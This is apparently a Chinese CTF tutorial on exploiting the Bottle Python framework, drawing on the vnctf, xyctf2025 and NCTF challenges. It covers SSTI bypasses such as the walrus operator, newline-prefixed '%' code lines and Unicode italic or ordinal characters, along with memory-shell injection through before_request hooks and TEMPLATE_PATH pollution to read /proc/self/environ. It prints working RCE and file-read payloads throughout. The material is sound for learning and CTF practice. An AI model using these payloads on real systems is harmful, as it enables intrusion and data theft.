Bottle框架的ssti、内存马、污染深入浅出
Bottle框架的ssti、内存马、污染深入浅出
Bottle框架的ssti、内存马、污染深入浅出
第一次遇到Bottle框架是在vnctf。Bottle框架是一个单文件的python框架。
Bottle自带了一个快速,强大,易用的模板引擎,名为 SimpleTemplate 或简称为 stpl 。它是 view() 和 template() 两个函数默认调用的模板引擎。
而SimpleTemplate类是继承了BaseTemplate类的
Bottle ssti
这是vnctf那道题的源码
import ast
import sys
from bottle import route, run, template, request
def verify_secure(m):
for x in ast.walk(m):
if isinstance(x, (ast.Import, ast.ImportFrom)):
print(f"ERROR: Banned statement {x}")
return False
elif isinstance(x, ast.Call):
if isinstance(x.func, ast.Name) and x.func.id == "__import__":
print(f"ERROR: Banned dynamic import statement {x}")
return False
return True
def init_functions():
# sys.modules['os'].popen = disabled
sys.modules['os'].system = disabled
sys.modules['time'].sleep = disabled
def disabled(*args, **kwargs):
raise PermissionError("Use of function is not allowed!")
@route('/')
def index():
return '''<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>学生姓名登记</title>
<style>
body {
font-family: 'Arial', sans-serif;
line-height: 1.6;
color: #333;
max-width: 600px;
margin: 0 auto;
padding: 20px;
background-color: #f4f4f4;
}
.container {
background-color: #fff;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
h2 {
color: #2c3e50;
text-align: center;
margin-bottom: 20px;
}
form {
display: flex;
flex-direction: column;
}
label {
margin-bottom: 10px;
font-weight: bold;
}
textarea {
width: 100%;
height: 150px;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
resize: vertical;
font-size: 16px;
}
button {
background-color: #3498db;
color: #fff;
border: none;
padding: 10px 15px;
font-size: 16px;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s ease;
}
button:hover {
background-color: #2980b9;
}
.error {
color: #e74c3c;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<h2>学生姓名登记</h2>
<form action="/students" method="POST" id="studentForm">
<label for="name">请输入学生姓名(一行一个):</label>
<textarea id="name" name="name" placeholder="张三" required></textarea>
<button type="submit">提交</button>
</form>
<p id="errorMessage" class="error"></p>
</div>
<script>
document.getElementById('studentForm').addEventListener('submit', function(e) {
e.preventDefault();
const namesInput = document.getElementById('name').value.trim();
const names = namesInput.split('\n').filter(name => name.trim() !== '');
if (names.length === 0) {
document.getElementById('errorMessage').textContent = '请至少输入一个学生姓名。';
return;
}
document.getElementById('errorMessage').textContent = '';
this.reset();
});
</script>
</body>
</html>
'''
def successhtml(name):
success_html = """<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Success</title>
<style>
body {
font-family: 'Arial', sans-serif;
background-color: #f0f2f5;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
background-color: #ffffff;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
padding: 30px;
text-align: center;
max-width: 400px;
width: 90%;
}
.success-icon {
color: #52c41a;
font-size: 48px;
margin-bottom: 20px;
}
h1 {
color: #333;
font-size: 24px;
margin-bottom: 15px;
}
.message {
color: #666;
font-size: 16px;
line-height: 1.5;
}
.student-name {
font-weight: bold;
color: #1890ff;
}
.back-button {
background-color: #1890ff;
color: white;
border: none;
padding: 10px 20px;
font-size: 16px;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s;
margin-top: 20px;
}
.back-button:hover {
background-color: #40a9ff;
}
</style>
</head>
<body>
<div class="container">
<div class="success-icon">✔</div>
<h1>Success</h1>
<p class="message">
<span class="student-name" id="studentName"></span>
</p>
<button class="back-button" onclick="goBack()">返回</button>
</div>
<script>
const studentName = "张三";
document.addEventListener('DOMContentLoaded', function() {
const messageElement = document.getElementById('studentName');
messageElement.innerHTML = `""" + "<b>学生 {} 的成绩录入成功!</b>".format(name) + """`;
});
function goBack() {
window.location.href = '/';
}
</script>
</body>
</html>"""
return success_html
@route('/students', method=['POST'])
def students():
name = request.forms.name
black_list = ['open', 'exec', 'eval', 'subprocess']
for x in black_list:
if x in name:
return "Hacker!"
temp = name.split("\n")
print(temp)
for i in range(0, len(temp)):
temp[i] = temp[i].replace('\n', '').replace('\r', '')
if len(temp[i]) > 23:
return "<h1>谁家好人名字这么长??</h1>"
try:
tree = compile(name, "temp.py", 'exec', flags=ast.PyCF_ONLY_AST)
except:
return successhtml(name)
if verify_secure(tree):
try:
return template(successhtml(name))
except:
return successhtml(name)
else:
return "No import!"
init_functions()
run(host='localhost', port=8081, debug=True)python3.8后有海象运算符,可以绕过长度限制。
{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()[154]}}
{{e:=d.__init__}}
{{f:=e.__globals__}}这里讲一讲bottle框架的ssti,不仅可以用{{}},<%%>也可以,%也是可以的!https://www.osgeo.cn/bottle/stpl.html
但是如果用%的话,要加一个\n才行。这是因为这是有前提的,我们先看看效果,再看看源码
127.0.0.1 - - [09/Apr/2025 10:41:15] "GET /attack?payload=%0a%%20print(123) HTTP/1.1" 200 7
123
meteor-kai\ty
127.0.0.1 - - [09/Apr/2025 10:41:26] "GET /attack?payload=%0a%%20import%20os;os.system(%27whoami%27) HTTP/1.1" 200 7127.0.0.1 - - [09/Apr/2025 10:42:34] "GET /attack?payload=%%20import%20os;os.system(%27whoami%27) HTTP/1.1" 200 37
127.0.0.1 - - [09/Apr/2025 10:42:41] "GET /attack?payload=%%20print(123) HTTP/1.1" 200 18# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 5999 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)如果 <% ... %> 或 % ... 嵌入在普通文本中(无换行符分隔),则被视为 普通文本,直接输出。
bottle.template('hello '+payload),这里是被嵌入在文本中的!!!
<%%>也是跟上面的一样的。。。
127.0.0.1 - - [09/Apr/2025 10:43:29] "GET /attack?payload=<%print(123)%> HTTP/1.1" 200 20
127.0.0.1 - - [09/Apr/2025 10:43:34] "GET /attack?payload=%0a%3C%print(123)%%3E HTTP/1.1" 200 7
123所以具体情况要看bottle.template()
下面还要说到一种bottle框架的斜体字
bottle框架斜体字引发的ssti模板注入
show
xyctf2025遇到了这个知识点
环境如下:
import bottle
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
print(payload)
try:
return bottle.template('hello '+payload)
except:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)
目前发现的POC只能替换俩字符,分别是o,a,在bottle的SSTI里,他们可以被直接替换成ª (U+00AA),º (U+00BA)进而绕过各种waf。
这里给出unicode字符表的网址:https://symbl.cc/cn/unicode-table/#latin-1-supplement
ª的url编码是%C2%AA,若我们直接传入http://127.0.0.1:5000/attack?payload={{%C2%AAbs(-1)}},服务端回显如下:
{{ªbs(-1)}}
127.0.0.1 - - [08/Apr/2025 16:27:04] "GET /attack?payload={{%C2%AAbs(-1)}} HTTP/1.1" 400 752那么我们去掉%C2,发现页面正常回显hello 1
127.0.0.1 - - [08/Apr/2025 16:28:01] "GET /attack?payload={{%AAbs(-1)}} HTTP/1.1" 200 7
{{ªbs(-1)}}然后我们试试阳性序数指示符º。url编码是%C2%BA。若我们直接传入http://192.168.79.128:5000/attack?payload={{%C2%BApen(%27/flag%27).read()}},客户端报错,服务端回显如下:
{{ºpen('/flag').read()}}
192.168.79.1 - - [08/Apr/2025 16:40:48] "GET /attack?payload={{%C2%BApen(%27/flag%27).read()}} HTTP/1.1" 400 768去掉%C2,发现ok啦。http://192.168.79.128:5000/attack?payload={{%BApen(%27/flag%27).read()}}
{{ºpen('/flag').read()}}
192.168.79.1 - - [08/Apr/2025 16:42:17] "GET /attack?payload={{%BApen(%27/flag%27).read()}} HTTP/1.1" 200 30原理
我们深入代码看看,个人认为bottle源码看着还是很舒服的,因为只有一个文件。
我们跟进bottle.template()看看
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)这里主要就是指定模板引擎和模板文件的搜索路径。还有下面的模板缓存机制:
- 缓存逻辑:如果模板未缓存或处于调试模式(
DEBUG=True),则重新加载模板。
- 直接使用模板对象:如果
tpl已经是适配器实例,直接缓存。- 模板字符串:如果包含换行符或模板语法符号(
{,%,$),视为模板字符串。- 模板文件:否则视为文件名,从
lookup路径加载。
识别出模板标识符后将其视为模板字符串,再交给adapter,也就是SimpleTemplate。使用render()作为入口函数。
def render(self, *args, **kwargs):
""" Render the template using keyword arguments as local variables. """
env = {}
stdout = []
for dictarg in args:
env.update(dictarg)
env.update(kwargs)
self.execute(stdout, env)
return ''.join(stdout)用 env.update() 把所有位置参数(*args)合并进 env 中;把关键字参数(**kwargs)也加入到 env 中;最后调用当前类的execute方法。我们跟进看看:
def execute(self, _stdout, kwargs):
env = self.defaults.copy()
env.update(kwargs)
env.update({
'_stdout': _stdout,
'_printlist': _stdout.extend,
'include': functools.partial(self._include, env),
'rebase': functools.partial(self._rebase, env),
'_rebase': None,
'_str': self._str,
'_escape': self._escape,
'get': env.get,
'setdefault': env.setdefault,
'defined': env.__contains__
})
exec(self.co, env)
if env.get('_rebase'):
subtpl, rargs = env.pop('_rebase')
rargs['base'] = ''.join(_stdout) #copy stdout
del _stdout[:] # clear stdout
return self._include(env, subtpl, **rargs)
return env可以看到在exec的全局变量里定义了一个_escape和_printlist函数。
模板代码的执行其实就是在 exec(self.co, env),我们跟进看看self.co(即要执行的代码)。
@cached_property
def co(self):
return compile(self.code, self.filename or '<string>', 'exec')这个@cached_property可以理解为是一个优化机制,用来避免重复计算。
进行了一次compile(编译),我们直接跟进self.code
def code(self):
source = self.source
if not source:
with open(self.filename, 'rb') as f:
source = f.read()
try:
source, encoding = touni(source), 'utf8'
except UnicodeError:
raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.')
parser = StplParser(source, encoding=encoding, syntax=self.syntax)
code = parser.translate()
self.encoding = parser.encoding
return code我们在try里面,touni的下方加一个print(source)
当我们传入以下参数的时候,我们看看服务端print
http://127.0.0.1:5000/attack?payload={{hello%20world}}发现这里的source其实就是我们传入的参数。
跟进touni看看:
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return unicode("" if s is None else s)如果是字节类型的,decode后return,否则return一个unicode("" if s is None else s),然后我们看看unicode的定义:
unicode = strunicode是一个str类,全体str!
然后我们再回到code()方法
parser = StplParser(source, encoding=encoding, syntax=self.syntax)
code = parser.translate()跟进一下StplParser的translete方法。StplParser 类是用来解析和转换某种模板或源代码的。
def translate(self):
if self.offset: raise RuntimeError('Parser is a one time instance.')
while True:
m = self.re_split.search(self.source, pos=self.offset)
if m:
text = self.source[self.offset:m.start()]
self.text_buffer.append(text)
self.offset = m.end()
if m.group(1): # Escape syntax
line, sep, _ = self.source[self.offset:].partition('\n')
self.text_buffer.append(self.source[m.start():m.start(1)] +
m.group(2) + line + sep)
self.offset += len(line + sep)
continue
self.flush_text()
self.offset += self.read_code(self.source[self.offset:],
multiline=bool(m.group(4)))
else:
break
self.text_buffer.append(self.source[self.offset:])
self.flush_text()
return ''.join(self.code_buffer)这段代码主要就是将模板/自定义语法转换为可执行代码(如 Python)。
这里我们主要关注的是self.flush_text(),我们跟进一下。
flush_text(): 将text_buffer中的普通文本转换为目标代码(如 Python 的print()语句)。
def flush_text(self):
text = ''.join(self.text_buffer)
del self.text_buffer[:]
if not text: return
parts, pos, nl = [], 0, '\\\n' + ' ' * self.indent
for m in self.re_inl.finditer(text):
prefix, pos = text[pos:m.start()], m.end()
if prefix:
parts.append(nl.join(map(repr, prefix.splitlines(True))))
if prefix.endswith('\n'): parts[-1] += nl
parts.append(self.process_inline(m.group(1).strip()))
if pos < len(text):
prefix = text[pos:]
lines = prefix.splitlines(True)
if lines[-1].endswith('\\\\\n'): lines[-1] = lines[-1][:-3]
elif lines[-1].endswith('\\\\\r\n'): lines[-1] = lines[-1][:-4]
parts.append(nl.join(map(repr, lines)))
code = '_printlist((%s,))' % ', '.join(parts)
self.lineno += code.count('\n') + 1
self.write_code(code)这里我们在code下方加一个print(code)
我们访问http://127.0.0.1:5000/attack?payload=hello{{hello%20world}},服务端回显如下:
hello{{hello world}}
_printlist(('hello hello', _escape(hello world),))这个_printlist就是在exec执行的全局空间里的打印函数。
env.update({
'_stdout': _stdout,
'_printlist': _stdout.extend,
'include': functools.partial(self._include, env),
'rebase': functools.partial(self._rebase, env),
'_rebase': None,
'_str': self._str,
'_escape': self._escape,
'get': env.get,
'setdefault': env.setdefault,
'defined': env.__contains__
})然后我们接着看flush_text,其中有
parts.append(self.process_inline(m.group(1).strip()))每一行模板都会经过它,self.process_inline(m.group(1).strip()),我们跟进一下。
def process_inline(chunk):
if chunk[0] == '!': return '_str(%s)' % chunk[1:]
return '_escape(%s)' % chunk这里我们发现了与转码有关的_escape函数,我们接下来跟进一下 self._escape,发现他在prepare中被定义。
class SimpleTemplate(BaseTemplate):
def prepare(self,
escape_func=html_escape,
noescape=False,
syntax=None, **ka):
self.cache = {}
enc = self.encoding
self._str = lambda x: touni(x, enc)
self._escape = lambda x: escape_func(touni(x, enc))
self.syntax = syntax
if noescape:
self._str, self._escape = self._escape, self._str还记得每一次进入SimpleTemplate都有一次初始化吗,就是prepare函数这些。
self._escape = lambda x: escape_func(touni(x, enc))我们跟进一下escape_func,发现
escape_func=html_escape再跟进一下html_escape
def html_escape(string):
""" Escape HTML special characters ``&<>`` and quotes ``'"``. """
return string.replace('&', '&').replace('<', '<').replace('>', '>')\
.replace('"', '"').replace("'", ''')就是一个防止XSS的HTML编码函数。
至此我们得出结论:我们的输入,不论在不在{{}}里,经过唯一的编码检查就是对source的touni(),但是由于全局变量中的unicode在python3下是全体str,这就导致了我们可以输入斜体字符
这里给出一个斜体字符生成器:https://exotictext.com/zh-cn/italic/
这里3.12.2及其之前的python版本如果执行上述命令会报错!
最后的代码由python的exec()来执行
假如直接exec()任意code的话,python会把code中当作代码处理的斜体字根据Decomposition转成对应的ASCII字符(当作字符串处理的除外,如此例中,假如whoami或os为斜体,则会无法执行,因为找不到斜体的os库,和斜体的whoami命令),这里os和whoami是当作字符串处理的!
看到这里,我想起之前ctf一道ssti的题也考到了这种斜体的方法,这里给出一个payload:
𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒈𝒆𝒕𝒂𝒕𝒕𝒓(__𝒊𝒎𝒑𝒐𝒓𝒕__(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[111, 115]))),𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[112,111,112,101,110])))(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[99,97,116,32,47,102,42]))),𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[114,101,97,100])))()他这个其实是等价于__import__('os').popen('cat /f*').read()
接下来再说说为什么只有两个字符ª (U+00AA),º (U+00BA)成功了:
{{ªbs(-1)}}
127.0.0.1 - - [08/Apr/2025 19:06:12] "GET /attack?payload={{%C2%AAbs(-1)}} HTTP/1.1" 400 752这些特殊字符经过URL编码之后一个字符都必须以两个编码值表示。但是bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的,那么bottle解析的就是%C2,只要删除掉%C2就能将字符传入后端!
我们再看看其他的有没有可利用的!
{{ªbs(-¹)}}
http://127.0.0.1:5000/attack?payload={{%C2%AAbs(-%C2%B9)}}若把前面的%C2删除,我们传入如下的参数
http://127.0.0.1:5000/attack?payload={{%AAbs(%B9)}}服务端回显如下:
{{ªbs(¹)}}
127.0.0.1 - - [08/Apr/2025 19:12:10] "GET /attack?payload={{%AAbs(%B9)}} HTTP/1.1" 400 750那就是不行喽!
其中只有ª (U+00AA),º (U+00BA),¹ (U+00B9),² (U+00B2),³ (U+00B3)有用,其中¹ (U+00B9),² (U+00B2),³ (U+00B3)在exec()时不会被python正确解析。而ª (U+00AA),º (U+00BA)执行的时候等效于字符a,o,别的字符RCE根本用不上。
这里稍微总结一下,如果我们是从前端传入的,那么一定会经过url编码,举个例子:
我们传入的是{{𝒶𝒷𝓈(1)}},但是后端无法将其解析,前端页面会报错400。
127.0.0.1 - - [08/Apr/2025 19:15:16] "GET /attack?payload={{%F0%9D%92%B6%F0%9D%92%B7%F0%9D%93%88(1)}} HTTP/1.1" 400 779
{{ð¶ð·ð(1)}}但是如果我们直接在后端传入𝒶𝒷𝓈(1),将以下语句直接加入代码中
import bottle
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
return bottle.template('{{𝒶𝒷𝓈(-2)}}')
# payload = bottle.request.query.get('payload')
# print(payload)
# try:
# return bottle.template('hello '+payload)
# except:
# bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)我们访问时前端正常回显!
再看看ª (U+00AA),º (U+00BA),如果我们前端传入,他会以两个编码值表示,而bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的,所以如果我们直接传入ª (U+00AA)或者º (U+00BA),那么必然也是会报错的,因此在前端传入时需要将前面的%C2删除后再传入!
那么如果直接从后端传入呢?看看效果
import bottle
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
return bottle.template('{{ªbs(-1)}}')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)因此我们所有的问题都聚焦在如何将斜体字符传入template中。
get(post)传参特殊字符必须进行URL编码的原因,因此我们是无法传入这种斜体字符的。但是假设靶机提供了一种可以不使用URL编码的方式将可控输入传入template(如:上传文件,再渲染文件中的内容形成的SSTI)那就意味着所有的字符可以全部用各种斜体替换(是的,一个ASCII的斜体字符至少4种),那就真的超模了。
对于任意ASCII字母都至少可以在https://exotictext.com/zh-cn/italic/上找到四种对应的斜体。在python中都可以直接当成ASCII正常执行。假设我们能把这些东西传到后端,不会触发针对该字符的waf,bottle渲染完成后就会直接进入exec,可以正常RCE。
参考文章:
拉蒙特徐宝子
https://www.cnblogs.com/LAMENTXU/articles/18805019
Bottle v0.13.2内存马
内存马其实就是自定义一个路由来实现rce
路由
from bottle import template,Bottle,request,error
app=Bottle()
@error(404)
@app.route("/memshell")
def index():
result=eval(request.params.get('cmd'))
return template("Hello:{{result}}",result)
@app.route("/")
def index():
return "Hello,jwk"
if __name__=="__main__":
app.run(host='0.0.0.0',port=8888,debug=True)跟进route看看
def route(self,
path=None,
method='GET',
callback=None,
name=None,
apply=None,
skip=None, **config):
""" A decorator to bind a function to a request URL. Example::
@app.route('/hello/<name>')
def hello(name):
return 'Hello %s' % name
The ``<name>`` part is a wildcard. See :class:`Router` for syntax
details.
:param path: Request path or a list of paths to listen to. If no
path is specified, it is automatically generated from the
signature of the function.
:param method: HTTP method (`GET`, `POST`, `PUT`, ...) or a list of
methods to listen to. (default: `GET`)
:param callback: An optional shortcut to avoid the decorator
syntax. ``route(..., callback=func)`` equals ``route(...)(func)``
:param name: The name for this route. (default: None)
:param apply: A decorator or plugin or a list of plugins. These are
applied to the route callback in addition to installed plugins.
:param skip: A list of plugins, plugin classes or names. Matching
plugins are not installed to this route. ``True`` skips all.
Any additional keyword arguments are stored as route-specific
configuration and passed to plugins (see :meth:`Plugin.apply`).
"""
if callable(path): path, callback = None, path
plugins = makelist(apply)
skiplist = makelist(skip)然后就会进入callable判断,
callable = lambda x: hasattr(x, '__call__')如果 path 是一个可调用对象,例如一个函数、字符串……(这也许也是在阐述python万物皆对象吧)
则交换 path 和 callback 的角色,将原本作为 path 的值赋给 callback,并将 path 设置为 None
如果判断成功他就会调用:
def makelist(data): # This is just too handy
if isinstance(data, (tuple, list, set, dict)):
return list(data)
elif data:
return [data]
else:
return []makelist([1, 2, 3]) # 返回 [1, 2, 3] (已经是列表)
makelist((1, 2, 3)) # 返回 [1, 2, 3] (元组转换为列表)
makelist({1, 2, 3}) # 返回 [1, 2, 3] (集合转换为列表)
makelist('abc') # 返回 ['abc'] (字符串被包装为单元素列表)
makelist(42) # 返回 [42] (整数被包装为单元素列表)
makelist(None) # 返回 [] (空值返回空列表)其实就是把元组,集合,字符串,字典,整数转换为列表,然后把空值返回空列表,总的来说就是不管你是啥,你传进去了什么,就都返回列表给你。
if callable(path): path, callback = None, path
plugins = makelist(apply)
skiplist = makelist(skip)这段代码在apply和skip为空的情况下,plugins和skiplist都为空。
然后往下看就知道剩下的代码定义了一个装饰器decorator函数,专门用来接收callback参数,然后下面一段都是生成路由的规则
def decorator(callback):
if isinstance(callback, basestring): callback = load(callback)
for rule in makelist(path) or yieldroutes(callback):
for verb in makelist(method):
verb = verb.upper()
route = Route(self, rule, verb, callback,
name=name,
plugins=plugins,
skiplist=skiplist, **config)
self.add_route(route)
return callback
return decorator(callback) if callback else decorator方法
那么这个.route默认的方法是'GET',当然你也可以传一个POST进去
callback
这里回扣到第一步,到底我们要传个什么样的值才能够成功生成一个函数呢?
所以我们目前需要探索的是如何不写一个完整的def的情况下自定义一个函数
这就不得不提到python自己默认自带的lambda表达式。
app.route("/c","GET",lambda :print(1))hook类
add_hook函数有去讲如何调用这些函数
def add_hook(self, name, func):
""" Attach a callback to a hook. Three hooks are currently implemented:
before_request
Executed once before each request. The request context is
available, but no routing has happened yet.
after_request
Executed once after each request regardless of its outcome.
app_reset
Called whenever :meth:`Bottle.reset` is called.
"""
if name in self.__hook_reversed:
self._hooks[name].insert(0, func)
else:
self._hooks[name].append(func)这里就是看你传的是after_request就调用insert,不是就调用其他的。
后端有显示,前端只是一昧地报错
respond头回显
just like 请求头回显
发现有好几个类都是以BaseResponse作为父类
bottle模块->BaseResponse::set_header -> _hval(value)
def set_header(self, name, value):
""" Create a new response header, replacing any previously defined
headers with the same name. """
self._headers[_hkey(name)] = [_hval(value)]/memshell?cmd=app.add_hook('before_request', lambda : __import__('bottle').response.set_header('X-Flag', __import__('base64').b64encode(__import__('os').popen("whoami").read().encode('utf-8')).decode('utf-8')))然后访问/,才能看到结果
abort方法妙用
def abort(code=500, text='Unknown Error.'):
""" Aborts execution and causes a HTTP error. """
raise HTTPError(code, text)直接把结果抛出来了,同时也是把结果抛出来。
/memshell?cmd=app.add_hook('before_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('a')).read()))原型链污染
bottle.TEMPLATE_PATH
污染bottle框架的TEMPLATE_PATH,改变模板渲染的路径
POST /setValue?name=setval HTTP/1.1
Host: 39.106.16.204:16613
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 5
{"path":"__globals__.bottle.TEMPLATE_PATH","value":['./', './views/','/proc/self/']}如上述,污染成/proc/self/,那么接下来ssti进行模板渲染的时候,输入environ,那么就会渲染出/proc/self/environ
详情见NCTF2024的笔记!
这里讲一下此处的原理,看bottle.template源码:
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)指定模板文件的搜索路径(默认是 TEMPLATE_PATH),我们跟进TEMPLATE_PATH知道:
TEMPLATE_PATH = ['./', './views/']但是这个TEMPLATE_PATH是可能被原型链污染的。
我们接着往下看源码,
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
- 缓存键:
tplid由lookup对象ID和模板内容组成,确保唯一性。- 缓存逻辑:如果模板未缓存或处于调试模式(
DEBUG=True),则重新加载模板。
- 直接使用模板对象:如果
tpl已经是适配器实例,直接缓存。- 模板字符串:如果包含换行符或模板语法符号(
{,%,$),视为模板字符串。- 模板文件:否则视为文件名,从
lookup路径加载。
此处的重点我们看else处,此处的lookup路径其实就是TEMPLATE_PATH。若我们将TEMPLATE_PATH污染成/proc/self/,同时我们传入的参数template(xxx),将xxx指定为environ,那么我们就能读取到/proc/self/environ这个文件了!